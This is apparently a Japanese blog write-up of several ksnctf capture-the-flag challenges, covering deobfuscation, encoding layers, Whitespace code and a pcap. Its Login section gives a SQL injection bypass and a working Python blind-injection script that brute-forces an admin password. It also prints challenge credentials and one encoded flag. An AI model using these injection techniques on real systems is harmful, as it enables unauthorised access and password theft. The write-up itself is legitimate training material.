JavaScriptのコードを(」・ω・)」うー!(/・ω・)/にゃー!します。 変換後のコードはJavaScriptとして実行可能です。 元ネタは「這いよれ!ニャル子さん」と「aaencode」です 解説:(」・ω・)」うー!(/・ω・)/にゃー!encode - kusano_kの日記

だそうです。解説がkusanoさんのブログにあったので、御本人が作られたのかな。
こちらのサイトでもdecodeはしてくれないみたいなので、scriptの部分をjsファイル(crawling_chaos.js)として書き出して実行してみる。

$ node crawling_chaos.js 
undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^

ReferenceError: $ is not defined
    at eval (eval at <anonymous> (/Users/Natsumi/workspace/ctf/ksnctf/crawling_chaos.js:1:17299), <anonymous>:2:1)
    at Object.<anonymous> (/Users/Natsumi/workspace/ctf/ksnctf/crawling_chaos.js:1:17333)
    at Module._compile (module.js:435:26)
    at Object.Module._extensions..js (module.js:442:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:311:12)
    at Function.Module.runMain (module.js:467:10)
    at startup (node.js:136:18)
    at node.js:963:3

なんかエラーが出たけど、jsコードも出てきた!

$(function() {
    $("form").submit(function() {
        var t = $('input[type="text"]').val();
        var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
        var f = false;
        if (p.length == t.length) {
            f = true;
            for (var i = 0; i < p.length; i++)
                if (t.charCodeAt(i) * (i + 1) != p[i]) f = false;
            if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!");
        }
        if (!f) alert("No");
        return false;
    });
});

ふむふむ。入力文字列の(i)番目のcharCodeと(i+1)をかけた値が p の配列の値になれば良い。

70 = chaCode(0) × 1
152 = charCode(1) ×2
…

という具合なので、下記スクリプトを組んで表示させてみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

p = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449]
t = ""

for i in range(len(p)):
    t += chr(p[i] // (i+1))
    
print(t)

やっぱりpythonが早い・・・。
実行結果

$ python crawling_chaos.py
FLAG_****

でた!

Villager A 300pt (解けていない)

問題

SSH: ctfq.sweetduet.info:10022
ID: q4
Pass: q60SIMpLlej9eq49

解答

与えられたホストに接続してみる。

$ ssh -p 10022 q4@ctfq.sweetduet.info      
q4@ctfq.sweetduet.info's password: 

めちゃ時間かかるけど、しばらく待ったらパスワード聞いてくれた。最初ここで躓いて、なんでパスワード聞いてくれないんや!と、この問題をskipしていた。

$ ll
合計 16
-r--------. 1 q4a  q4a    22  5月 22 02:12 2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857  5月 22 11:21 2012 q4
-rw-r--r--. 1 root root  151  6月  1 04:47 2012 readme.txt
$ file *
flag.txt:   regular file, no read permission
q4:         setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
readme.txt: ASCII English text

flag.txtあるじゃん!だけど、read権限もない。謎のq4ファイルは実行ファイル。まずはreadme.txt読んでみる。

You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

注意書き・許可・禁止事項のみ。
q4 ファイルを実行してみる。

$ ./q4 
What's your name?
kusuwada
Hi, kusuwada

Do you want the flag?
yes
Do you want the flag?
y
Do you want the flag?
Y
Do you want the flag?
no
I see. Good bye.

なんかこう、イラッとする感じ。「フラグが欲しい?」「はい!」「フラグ欲しい?」「ください!」を繰り返してみる。
が、もちろん教えてくれない。
いらん、と言ったらグッバイだって。

実行ファイルの中を less でのぞいてみると、どうも何かをきっかけに flag.txt を読んでくれるらしい。
-h, --help optionは効かない。

一周目終わった時に見たksnctfジャンル分けサイトで Binary(Exploitation) と言われていたのでこれ以上は追わないことに。

Onion 70pt

来た!Onionだ。

問題

Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVU
bGhoTWsweFZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdFdVZ3BpVlZwWVZtMTRj
MDB4V25GUmJVWlVUV3hLU1ZadGRHdFhRWEJwVW01Q1VGZFhNSGhpCk1WWlhWMjVHVW1KVldtRldh
a0Y0VGxaVmVXUkdaRmRWV0VKd1ZXcEtiMlJzV2tkWGJHUnJDazFXY0ZoV01qVlRZV3hLV0ZWdFJs
ZGgKYTFwTVZURmFZV1JIVWtkYVJscGhUVEJLZDFadGVHRmtNV1JYVjI1U1RsWkdTbkZEYXpGRlVX
cFNWMDFxVmxSWlYzaExWMFpXYzFacwpWbGNLVFRKb1RWWlVSbUZaVjFKSVZXdHNWV0pYYUZkV01G
WkxWbFprV0dWSGRHbE5iRXA2VmpKMGExbFdUa2xSYmtwRVlYcEdlbFl5CmRHOVdNREZ4Vm14U1Yx
SXphR2hWYWtaUFl6RmFjd3BXYkdOTFZGUkJNRTFHV2toa1IwWm9UV3MxTUZWdGRHdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRTU0U5V1NrNVdiSEJKVmpKMFlXSXhVbk5VYTJob1UwVktSVmxZY0Vk
WFJsbDVDbVZIT1ZkTlJFWjRWbTE0VTFZeApTWHBoUjJoV1lXdGFVRmw2Um1GamQzQlhZa2RPVEZa
R1VrdGlNVkpYVjJ4V1UySlZXbUZXYWtaTFUxWmFXR1JIT1doTlZXdzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hWYWtaaFpFWktkR1JGTlZkTlZYQmFWbTF3U2sxV1ZYbFNiazVVWWtkNFYxbHRkRXRT
Vm14WlkwVmsKV0ZKc1ZqVkRiVlpJVDFab1UwMUdXVEJYVkVKdldWWmtjd3BYYTFwWVlUTlNhRlZy
Vm1GamJIQkdWMnQwYW1RelFtaFZha3ByVkVaawpWMVZyVGxkTlJGWklWMnRvVDFkSFNsWlhiR1JW
VmpOT05GUnJXbXRqYlVaSFZHMW9UbFpZUVhoV1ZtUTBDbUV4V1hkTlZXTkxWakowCk5GWXlTa2Rq
U0VwWFRVZFNXRlV3V2t0ak1WWnlUbFprVGxaWVFtRldiVEYzVXpBeFNGSllhRmhpYkVwVVZqQmtV
MVZHV25SbFIwWlQKVm0xNFdsa3dWbXNLVjBaS2RHUkVUa1JpUjFJd1ZERmFiMVV3TVVkWFZFSllW
a1ZLZGxWNlJscGxVWEJUWW10d2NWVnNhRzlXTVd4WQpaRWhrVmxKc1ZqUldNbmhQWVcxUmVsRnNi
RnBpUjFGM1ZrVmFZUXBrUjFKSFdrWndWMkpJUWxsV2FrbzBWakZWZVZOc1dsaGlWVnBZCldWZDBZ
VlJHVlhoWGJVWllVakZLU1ZReFpHOVViRnBZWkhwR1dGWnNXbkpEYlVsNFYyeGtXR0V4YkV4V1ZF
b3dDazVHV1hsVGEyUnEKVTBWd1dGUlZaRk5YUmxWM1YydDBhazFXV25sVWJGcHJWR3hhV1ZGdFJs
ZGlXRUpNVkZWa1NtVkdWbGxoUjJ4VFlsWktWbGRXVWtkawpNVnBYWWtoT1YySlZXbFFLVm0weE5H
VldXWGxPVjNOTFZtcEtTMUl4WkhGUmExSm9aV3hhWVZZeWRHRmhNVkp6VTJ0YVdHRnNTbGhaCmJG
SkdUVVpXVlZKc2NHdGtNMEpQVm14a2IxWXhiRlZVYlRsWVVtMTRlZ3BaVldNMVlXMUtTVkZyYUZk
TmJrMHhXVmN4VW1Wc1JuVlMKYkZwb1lUSTVNMVpyVm1GWlVYQllVbFJHUmxWdGVFdFViVVY1Wkhw
Q1YyRnJhM2hXVkVwSFl6Rk9jMkZHV21sU01VcG9DbGRYZEdGawpNa1pIVmxoa1dHSklRbk5XYkZK
WFYwWmtjbGR0ZEZkTlJFWktWVmQ0ZDFkR1duTlhiV2hFWWtaR05GWXhhR3RVYkZwWVZHdDRWMkZy
CmIzZERhelZIVjFoc1ZHRXlVbkVLVlRCV2QxZEdVbFphUms1WFVteFdNMVl5ZERCaE1VbDRVMnRr
VldKR2NISldSM2hoVjFaR2RGSnMKWkdsWFJVcE5Wa1pXWVdNeFpFZFViR3hwVW1zMVdWVnFTbTlX
YkZweFVXMTBWZ3BOVjFKWVdXdG9VMkV4VGtoVmJGRkxWbTB3ZUU1RwpaSE5oTTJSWFlsaE9URlpx
UW1GVE1sSklWV3RXVldFeFNuQlZha1pLWkRGYVJWSnRSbWhOVmtwNlZUSjBZVmRIUm5OVGJHaGFD
bUpHClNrZFVWVnBYVmxaS2RHUkdUbXROTUVwYVYxY3hlazFYVGxkV2JrNW9VbnBzV0ZSV1pEUmxa
M0JhVmxkTk1WWnRlRXRrVmtaeVlVWmsKVG1Kc1JqTlhWbU40VlcxV2MxSnVUbWdLVW01Q2IxUlhl
RXRWVmxweVZtMUdhR1F6UWxsVmFrWkxVMVpSZUZkcmRHaFdiSEI2V1RCUwpZVll5Um5KaE0yaFdZ
V3RhV0ZwRldrOWpNV1J6WVVkc1UwMXRhRzlEYkdSWVpFZEdhd3BOYTFwSVZqSTFSMVV5U2taT1dF
WlZWbTFTClZGUlZXbGRrUjFaSVVteGFUbUV6UWt0V1ZscHZZVEZrUjFkdVRsaGlWMmhGV1d0YVIw
NUdXWGhoUjNSVllrWndXVlpIZERSV01rWnkKQ21JelpFUmhlbFpJV1d0YWExWkhSWGhqUm10TFYx
ZDRhMkl4WkVkVmJGcGhVbXMxVjFWdGVHRk5SbXQ2WTBaa1dGSnJiRE5aTUZacgpWbGRLUjJOSVNs
ZFNNMmhvVmpGYVIyTnRVa2NLV2tkc1YxSldiRFpXYkdoM1VXMVdSMVJyWkZSaVIzaHZWV3BDWVZa
R1duRlRiVGxYCllrZFNXVnBGWkRCVWQzQlRZa2QzTUZkWGRHOVZNa1owVm01S1dHSkdSa3hXYlRC
M1pVVTFTQXBXYms1WVlteEtVRlpxVGs5VVJscHgKVVcxR1ZFMXJNVFZWTW5SWFZqSkZlRk51UWxk
aVdGSXpWVEo0WVZKV1NuUlNiV2hPVm10d05sWlVTakJaVm1SSFdrVm9hRkp0YUdGRApiVVY1Q2xW
ck9XRldWbkJ5Vm1wR2EyUkhVa2hqUjNST1RVVndZVll4V2xOU01sRjRXa1prYVZKc1dsWlphMVV4
WWpGV2RHVkhSbXhWCldFSllXV3hTUjFOR2JGaE5WWFJVVWpGSk1sVXllR0VLWVZaa1NHRkliRmhX
YlU0MFZsY3hWMk14U25WVWJXZExWVzAxUTJJeFVsaGwKUlhSV1ZteHdlVlp0TVVkaFIxRjZVV3hz
Vm1GcldreFZNVnBYWkVkV1NHUkdWbWxTV0VKSlZtcEtNQXBqTVZsNVVtNUthV1ZyU21GWgpWM1Iz
VTBac05sSnJPV3BOYTFwSVZqSXhjMVV3TVZaalJtaEVZa1p3TUZrd1ZUVldVWEJPVWtaYVNWWnNZ
ekZUTVdSSVUydHNVbUpyCk5WaFphMXBMQ2xkR1duRlNiRXBzVW0xU01GcEZXbXRVYkVwR1YydDBW
MVp0VVhkYVJFWmFaVlpPY21GR1dsZFNWWEJHVjFkNFYxWXcKTlVkWFdHaG9Vak5TVmxsclduZFhW
bHBJWkVSU1YwMXJXbmtLUTIxSmVscEZVbWhsYkZwSlZtcEdiMkV4VW5OYVJXUllZbFJvVEZacwpa
SGRUTWtsNFdrVmtWbUpHY0ZsWmEyUlRWVVpXZEdWSVpHeGlSbXcxV2tWa01HRkZNVlppUkZKV1RX
NVNjZ3BXYkdSTFVqSk9TVk5zCmNGZGlTRUpSVmxjeE5GUXlUblJWYTJOTFYydGtjMWRHU2xaalJU
VlhZVEZ3V0ZsVVJrOWtSbHB5V2taa2FWSXphSFpXVjNCRFdWWmEKVjFadVRtaFNWVFZYQ2xWdGVI
ZFdiRlpZVFZSQ1ZXUXpRbFJaYTJRelRVWmtXR1JIT1ZSTlZtdzFWV3hvZDFadFNrZFNhM2hYWWxS
QwpNMXBWVlRGVFFYQlhZa2RTV1ZsdGVFdFZSbHB6VlcwNVZWSnNjSGtLVmxkMGExWkZNWEpOVkZK
WVlUSm9TRlpYTVVabFJrNTFVV3hrCmFWSnJjRmxXVkVaaFdWZE9jMk5GVmxaaVYyaFBWbTEwZDA1
c1duRlRhbEpwVFZaYVNGWkhkRzlpUmtwMFlVZEdSQXBpVlhCSVEyeE8KY2xwR1ZsZFdia0paVm0x
NFlWTXlUWGxVYTJoc1VteHdXVlZzVm5kV01WbDRXa1JDV2xadGVGaFdNblJyWVZaS2MxZHNXbHBp
UmtwNgpWakZhVjJSSFZrWmtSbWhTQ2xkRlNsbFdSbVIzVmpKT2MxZHVTbGhoTTFKeVZXcEdTazFz
VlhsbFIwVkxXVlphYTFJeFRuVmlSbWhYCllsVTBNRlpzWTNoV01rMTRVMjVXVm1KWFpFeFdWekUw
WkRKSmVHSkdWbFFLVmtaYVQxUldXbmRsVmxwMFRWVmtXR0pHV2xwVlYzaHoKVm0xS1IxTnJhRmRp
V0doWVZqQlZlRlpXUm5OV2JXeFRZbXRHTkZac1dtdE9RWEJxVFZac05WVnROVXRoVlRCNVZXMUdW
d3BoTVZwbwpXVlZhZDFKc1pISmtSbWhYVFVoQ1NWWnFTWGhqTWtaR1RWWnNVbUpIYUVWWmExcDNU
VVpTVm1GSE9WZGFNMEpQVm0wMVExTldXbkZTCmJUbHBUVmRTU1ZVeWVHRlhSMHBIQ2xkc1pGcFdN
MUpvUTJ4U1IxWllhRmhpUjFKeVZXcEdZVk5XVm5SbFIwWlZZbFZXTmxWWGREQlcKTVZwMFZXcE9X
RlpzY0dGYVZscExaRlpPZEdGRk5VNWlWMmhIVmpGa01GWnRWa1lLVGxWa1dGZEhlSE5WYWs1VFYx
WldjVkZzWkU5UwpiWGg1Vm0xd1UxWXdNVmRqUldOTFVUSXhTbVZzY0VaVmJXaHNZa1p3U2xadGNF
ZGlNazE0Vmxob1lWSlhhRzlWTUZaWFZFWmFjd3BhClNHUlVUV3RzTkZZeGFHOWhWa3AwWVVoS1Zt
RnJTbWhaTVZwelkyeHdSVlJyTldsU2JHOTNWa2Q0YTAxR1dYaFRia3BwVWtaS1YxUlgKTlZOaloz
QlhZa2RTVEZWcVNrOVRWazV6Q2xwRk5WTmlhMHBPVm0wd2QyVkdVWGhUYmxKV1lUSk9URll5ZEd0
ak1WbDRVMnhrYVZKRwpjRmhaYTFwTFZFWndXRTFXWkZOTlYxSmFXVlZhYjJGV1NYcGhTR1JYVm5w
Rk1GVjZTa29LWlVaV2MyRkhlRk5YUmtwWlEyeHNjbHBHClRsaFdia0pIVjJ0U1EyRkdWbGxSYXps
WFlsUkZlbFJWV210WFIxSklUMVphVG1FeFdUQldhMlF3WWpGYWRGTnJaRk5oTTJoWVdXeFMKUXdw
Tk1YQldWbFJHVkZGWVFsaFpiWE14VjFac2RHVkZkRlpTYkhCNFZrZHpOVlpXU25OalJFRkxWMnRX
YTFJeFpITlhXR1JPVmtaSwpWMVJYY0ZkVFJscDBUVlZhYkZKck5URlZWM2hoQ21GV1pFaGFNM0JY
VWpOb2FGZFdXa3RXTVU1MVZXeE9hVll5YUZCV2JURXdaREExCmMxZHVSbFJoYkVwd1ZGWmFZVk5H
V2toa1J6bHBVbXR3TUZsVlpFZFNRWEJwVmxoQ1NWRXllRThLWTJ4d1IxWnNaRmRpYTBwMlZtMHgK
TkZsV1RYbFVXR3hWWVRKb2MxVnRlSGRYVmxaelZtNWtWMkpHYkRSWFZFNXZWR3hKZUZKcVZsZFNN
Mmh5Vm1wS1MyTnJOVmhQVmxwcApZbXRLTmdwV01WcGhXVmRTUms1V1dsVmlSMmhYUTJ4a1JsTnRP
VmRXTTJoeVZsUkdUMUl5U2tkaFJUVlhWMFpLVmxadE1UQlpWMVpYCldraEtXR0pVYUV4WFZsWlda
VVpaZVZScmJHbFNiVkp3Q2xWdGRIZFVWbHB6V1ROb1YwMXJNVFJWTWpWWFZsZEtXR1JGZUZkV2Vr
RjQKVlZSS1NtVkdWbk5oUjNkTFZXeG9VMVl4V25SbFNHUnNWbXh3TUZSV1ZtdGhSa2w0VW1wYVZs
WXphSG9LVm0weFIyTnNaSFJoUmxwTwpVbTVDYUZkc1dsWmxSbHBYVW01T1YySlhlRmhXTUZaTFUx
WmFkR05GWkZaa00wSlRWRlphYzA1V1ZuUk9WWFJvVmxSQ05WWlhlRzlYClozQlhUVEZLYndwV2JY
QkhaREZaZUZwSVNsQldNMEp3Vm14YWQxTldXbkZUV0docVRWWldOVlV5TlV0V1IwcElZVVZXV21F
eGNETlUKVlZweVpERmFWVlpzWkdGTk1FcFFWbGQwVjFOck1VZGFSbFpTQ21KVlduQlVWM1IzVTBa
VmVVNVdUbGRpVlhCSlEyMVdSMXBHY0ZkTgpNVXB2VVRJeFIxSXhXbGxhUm1ocFYwWktlRmRYZEd0
Vk1sWnpXa2hLWVZKNmJGaFVWM1JYVG14V1dFMVZaRmNLVFZad01GWkhjRk5XCmJVWnlWMjFHWVZa
c2NFeFdNV1JMVWpGa2MyRkdUazVXV0VKSVZtcEdZV0l5VVhoWFdHZExWa2QwYTFZeFpFaGxTRXBX
WVdzMVZGbHEKUm5OamJGcDFXa1pTVXdwaVdHZzFWbTB4ZDFVeFdYZE5WbHBxVTBjNVRGVlVTalJo
TWsxNFZtNUtWbUpYZUZoV2ExWldaREZhYzFWcgpkRTVTTUZZMVZXMDFUMVpIUlhsVmJrWldZa1pL
ZGxaRldtRmpkM0JoQ2xKRlNtOVVWVkpYVTBaVmVXVkhkRnBXYXpWSVZqSTFRMVpXCldrWmpSbEpY
Vm14d2FGbDZSbUZXVmtwMFpFWmthVkp1UWtwV2JYaGhZakpGZUZkcmFGWlhSM2hSVld0a05GSlda
SFVLWWpOa1VGVlkKUWtWWGJtOTNUMVZPYmxCVU1Fc0sK

解答

何かでencodeしてあるように見えるが、ヒントがOnionしかない。OnionってあのOnion?TorのOnionですか?最近勇気を出してTorBrowserとか入れちゃったからどんと来いよ?
しかし少し冷静になってみると、そのOnionだとしても上記の文字列が何を意味しているかの答えにはつながらない気がする。Torの方のOnionの由来を意識すると、何回もいろんなencode/encryptがかかっていて皮を剥くようにencode/encryptが解けていくのかもしれない。

文字列的に base64 encode されていそうだったので、 base64 decode してみる。

$ openssl base64 -d -in onion.txt -out onion1.txt

うーん、なんか変換後も変わっていないような・・・。と思ってdiffを取ると、ちょっと変わってる!ちょっと短くなってる!ちょっとだけど!

最初の予想をとりあえず突き進んでみようと、2,3回手動でbase64 decodeしてみる。おお、だんだん変わってきている。皮むけてるかも?

ということで下記のプログラムを組んで見る。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import base64

with open('onion.txt') as f:
    data = f.read()

data = data.encode('utf-8')
c = 0

while(1):
    print('------------')
    print(c + '回目: ' + data)
    if 'FLAG_' in data.decode('utf-8'):
        print(data.decode('utf-8'))
        break
    else:
        data = base64.b64decode(data)
    c += 1

実行結果

~前略~
15回目: b'YmVnaW4gNjY2IDxkYXRhPgo1MURRITFVXSY5NFFHNCMtMzo0JTc5N0k3NCRBVQogCmVuZAo=\n'
------------
16回目: b'begin 666 <data>\n51DQ!1U]&94QG4#-3:4%797I74$AU\n \nend\n'
------------
17回目: b'm\xe8"\x9f\xae\xbau\xabZ\xe7P\xd0\xd5Ox@n7\xe3\xbf{#\xbe\x00Q\xe9\xdd'
Traceback (most recent call last):
  File "onion.py", line 15, in <module>
    if 'FLAG_' in data.decode('utf-8'):
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe8 in position 1: invalid continuation byte

あれ、エラーで止まってしもうた。16回目の出力がbase64できないそうだ。ただ意味のある単語になってそうなので、base64だけでは皮はむけきらないということか。功を急いた。

begin 666 でググってみると、下記の記事がHit。

知ってるようで知らないPythonの特殊コーデック

uu このコーデックは、uuencodeを使って文字列を変換します。

>>> print "hello".encode("uu")
begin 666 <data>
%:&5L;&\ 

end

あ、これだ!ということで、uu codecというのを調べてdecode実装してみる。

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import codecs

print(codecs.decode(b'begin 666 <data>\n51DQ!1U]&94QG4#-3:4%797I74$AU\n \nend\n','uu'))

実行結果

b'FLAG_****'

Login 120pt

問題

http://ctfq.sweetduet.info:10080/~q6/

解答

問題文のURLにアクセスすると、こんなログインページが。

f:id:kusuwada:20180905113858p:plain

試しに入れてみると、失敗の文言が表示される。

f:id:kusuwada:20180905113901p:plain

ログインできていない状態では、LocalにCookieやCacheを持っていないようだったので、ログイン処理では定番の脆弱性SQL injectionを疑う。

f:id:kusuwada:20180905113903p:plain

こんな感じで、ID部分に admin を入れ、残りの部分をコメントアウトするよう ;-- を足してやる。SQLクエリ一行でログイン判定が行われているならば、これが有効。
と最初に試したやつがまさかのヒット。こんなページが現れる。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?>
〜〜 ここからはhtml部分のため省略 〜〜

二段階の問題らしい。FLAGはadminのパスワード。ヒントのソースが提示される。ログイン時の処理ですね。

まず、SQLインジェクションを引き続き攻めることは確定っぽい。ただ、adminのパスワードそのものを知る必要があるのに、どこにも出力結果が出てこない。エラー文言も固定。
ここまでの情報から、 Blind injection かな?と予想をつける。
過去にSECCONでやった手法が使えそう。

kusuwada.hatenablog.com

こういうとき、本当に記録に残してよかったと思う・・・。やっぱ自分のメモが一番わかり易いんだな。

この問題(SqlSRF)の時も、adminのパスワードを知りたい&クエリ結果が出てくる場所がない、という条件だった。
様々な条件でadminとしてログインさせることは第1段階でできるようになっているので、amdinユーザーのパスワードを先頭から一文字ずつ総当たりで試していって(sqlietのsubstr関数を利用)、合致する場合はログイン成功、合致しない場合はログイン失敗するようにする。
最後どこでやめればいいのかわからないので、予め文字数も推測してやる(sqlitenのlength関数を利用)。
攻撃コードはこちら。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "http://ctfq.sweetduet.info:10080/~q6/"
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(65, 65+26)] + \
    [chr(i) for i in range(97, 97+26)] + ["_"]
    # print(''.join(candidates))
    # 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_


def attack(attack_sql):
    payload = {
        'id': attack_sql,
        'pass': 'test',
    }
    res = requests.post(url, data=payload)
    return res


def pass_len_attack(pass_len):
    attack_sql = "admin' AND length(pass)=" + str(pass_len) + "--"
    return attack(attack_sql)


def force_attack(try_pass):
    attack_sql = "admin' AND substr(pass,1," + str(len(str(try_pass))) + ")='"+ str(try_pass) +"'--"
    return attack(attack_sql)


def check_result(res):
    ## 表示されるエラーメッセージを確認する
    # NGだった場合は "Login Failed" 表示され、OKだった場合は"Congratulations!"の下りが表示される
    if "Congratulations!" in res.text:
        return True
    return False


####################
###     main     ###
####################

# まずはencryptされたpassの長さを探る
try_pass_len = 1
while True:
    print(try_pass_len)
    res = pass_len_attack(try_pass_len)
    if check_result(res):
        break
    try_pass_len += 1
print("enc_pass length: " + str(try_pass_len))


# 先頭の文字から一文字ずつ増やして検証していく
fix_pass = ""
while (len(fix_pass) < try_pass_len):
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        res = force_attack(try_pass)
        if check_result(res):
            fix_pass += c
            break

print("pass: " + fix_pass)

実行結果

$ python login_attack.py
$ python login_attack.py 
1
2
3
<<中略>>
21
enc_pass length: 21
0
1
<<中略>>
F5
F6
F7
F8
F9
<<中略>>
FLAG_******I
FLAG_******J
FLAG_******K
pass: FLAG_******K

出た!気持ちいい!

Programming 110pt

問題

http://ksnctf.sweetduet.info/q/7/program.cpp

解答

問題文のURLにアクセス。すると、c++コードっぽいものが落ちている。

program.cpp

#include        <stdio.h>    
    
       #include      <string.h>  
    
  int          main         
    ()
   {    const      char   * 
s   =
 "           " 
"0123456789" 
"     "
    
"           "
"                                                                             "        
     "ABCDEFGHIJ"    ;
     printf (
      "%c"  ,       strlen 
(s) 
 );  int  i      = 020000000  +   001000000  +
000600000  
  +000040000
+000007000
+000000500
+000000020
+000000002     ;
        printf      (   
    "%s"
        ,&       i      
    )
;                
    long
    long 
                                                                                         l
      =  
    
  2LL           
        *
    11LL
                
         *
    229LL
             
        *
    614741LL
               
        *
    9576751LL
                 
         +
    5LL
               
        
    ;
                
         
    printf
              (
      "%s"  
    
            ,    
         
    
    &       
        
    
            l    
        
    
    )            
        
    
                    ;
         
    
    float      
        
    
        f        =  
        
    
     1.0962664770776731080774868826855754386638240000e-38f   
         
    
     ;    
        
    
     printf(        "%s"      
         
    
         ,       
        &f
 )  
    ;        
    double      
    
d                       =
    6.7386412564254706622868098890859398199406890000e-308       
 ;  
  printf
("%s"
,&d);
}

(ಠ_ಠ)・・・穴埋め問題?
cppのコードであることはわかった。実行してみた。

実行結果

$ g++ -o program program.cpp
~warning色々でたけど省略~
$ ./program 
FROG_This_is_wrong_:(

あ、違うらしい。一応 FLAG_This_is_wrong_:( に変えて投げてみたけど違った。
まぁそんな解な気はしていた。

じゃあcppコードとして実行するのがそもそも間違ってる?と思い、ぐぐる
whitespace cpp cpp whitespace tab many とか頭悪そうな検索ワードを並べてみるも、スペースやタブ区切りの入力処理・出力の話ばかり引っかかる。
いっそさっきcppで実行してダメだったじゃんと思い、検索ワードから cpp を抜いてみる。
whitespace tab programming とすると、変なのが引っかかってきた。

Whitespace - Wikipedia

いや、ウィキペディアなのでサイト自体は変ではないのだけども。

Whitespace(ホワイトスペース)は、プログラミング言語のひとつであり、またそれを動作させるインタプリタを指している。WhitespaceはGPLにより配布されている。実用言語ではない難解プログラミング言語のひとつ。

???(ಠ_ಠ)???

本来 "whitespace" とは「空白」や「余白」を意味する英単語である。多くの一般的なプログラミング言語では空白に相当する文字(スペース、タブ、言語によっては改行も)は他の言語要素間の区切りとして使われている。しかし、言語 Whitespace においてはプログラムは空白文字だけで構成される(それ以外の文字列はコメント扱いで無視される)。そのため、一見するとプログラムであることすらわからないという珍しい言語である。

??????(ಠ_ಠ)?????? なにそれこわい。
とりあえずこれを試してみよう。
なんだかサンプルソースがNetworkErrorで落とせなかったり、公式サイトにもNetworkErrorでつながらなかったりと散々でしたが、下記サイトを参考にRubyベースのスクリプトを試すことに。

【Whitespace】難解プログラミング言語舐めてた - footmark

変態言語whitespaceのインタプリタ書いた - Ryoの開発日記

このサイトにhelloworldのサンプルコードが載っているが、もう、確かに変態。こんな言語存在すること知らなかったし、ネタとしては最高。もしFLAG出てこなかったとしても whitespace 言語知れただけで満足・・・。

何故かこのRubyスクリプトを公開しているサイトで紹介されていたサンプルは parse error で動かなかったが、今回配布された program.cpp (.wsに改名)は動いた。実行してみると

$ ruby whitespace.rb program.ws
PIN: 

なんかPINを求められている・・・!適当に入れたら落ちた。
PINなんてどこかでもらったっけな?
しかし何かしら動いたということは、本当に whitespace という言語だったということか!わおー!

というところで、実行だけじゃなくてなんかの言語にtranslateしてくれるツールがないか探す。

WhitespaceをC言語ソースに変換する - koturnの日記

このページからリンクが貼られている C言語にtranslateしてくれるツールを落として使ってみた。翻訳結果はこちら。

#include <assert.h>
#include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>

~~略~~


int main(void)
{
  push(80);
  putchar(pop());
  push(73);
  putchar(pop());
  push(78);
  putchar(pop());
  push(58);
  putchar(pop());
  push(32);
  putchar(pop());
  push(0);
  fflush(stdout);
  scanf("%d", &heap[pop()]);
  push(0);
  heap_read();
  push(33355524);
  arith_sub();
  if (!pop()) {
    goto T;
  }
  push(78);
  putchar(pop());
  push(79);
  putchar(pop());
  exit(EXIT_SUCCESS);

~~略~~

おや、PINっぽいのがいる。これをPINに入れてやると、FLAGでた!

$ ./whitespace.out ../program.ws 
PIN: 33355524
OK
FLAG_******

ちなみに、先のrubyスクリプトの方はエラーで落ちてたどり着かなかったよ。デバッグとかはしてないよ。多分実行環境(ruby version?)のせいでしょう。

Basic is secure? 50pt

問題

http://ksnctf.sweetduet.info/q/8/q8.pcap

アクセスしてみると、パケットキャプチャと言うよりは、ログファイルが落ちている。タイトルからしBasic認証がsecureじゃないよ、ってコンセプトだろうか。

解答

リンク先が .pcap だったので、pcapファイルとして保存してwiresharkで開いてみるも、フォーマットが違うと怒られて開けず。textのまま読む。

GET /~q8/ HTTP/1.1
Host: ctfq.sweetduet.info:10080
Connection: keep-alive
Authorization: Basic cTg6RkxBR181dXg3eksyTktTSDhmU0dB

こんな行を見つける。
そして、その次の通信で

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Q8</title>
  </head>
  <body>
    <p>Congratulations!</p>
    <p>The flag is q8's password.</p>
  </body>
</html>

というページが表示されているらしきことを確認。認証はこれで行けるらしい。そしてフラグはq8のパスワードらしい。 Basic認証の仕様を調べると、

Basic認証では、ユーザIDとパスワードはAuthorizationヘッダにBase64エンコードされて付加されます。

